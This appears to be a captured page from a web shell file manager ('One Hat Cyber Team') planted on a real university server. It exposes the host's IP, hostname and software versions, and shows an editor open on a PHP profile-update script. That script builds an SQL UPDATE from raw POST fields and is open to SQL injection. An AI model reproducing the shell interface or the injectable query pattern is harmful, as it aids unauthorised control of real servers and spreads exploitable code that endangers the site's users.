One Hat Cyber Team
Your IP :
216.73.216.24
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
nosc
/
public_html
/
users
/
Edit File:
update_about_me.php~
<?php require_once("header_users.php"); ?> <?php require_once("functions_admin.php"); ?> <? require_once("functions_users.php"); ?> <? require_once("../login/include/session.php"); ?> <? require_once("../auth/auth.php"); ?> <? $author_id = user_person_id(); $person = person($author_id); if (is_valid_language($_POST['preferred_language'])) $lang = $_POST['preferred_language']; else $lang = languify(preferred_language($person)); //print_r($_POST); if (($author_id) && ($author_id == $_POST['id'])) { $fields = array("sex","preferred_language","phone","fax","homepage","title"); $q = "UPDATE Authors set "; $i=0; foreach ($fields as $f) { if ($i) $q = $q . ","; $q = $q . $f . "='". $_POST[$f]."'"; $i++; } $q = $q . " WHERE id=". $_POST['id']; tell($q); mysql_query($q); tell(enruua("Your personal information has been updated", "Ваша персональная информация обновлена", "Вашу персональну інформацію оновлено")."."); } else { } if (is_valid_language($_POST['preferred_language'])) $lang = $_POST['preferred_language']; elseif (!is_valid_language($lang)) $lang = languify(preferred_language($person)); //$lang = preferred_language($person); $location= "about_me.php?lang=".$lang; //tell ($lang); go($location); //header("location: ".$location); ?>
Simpan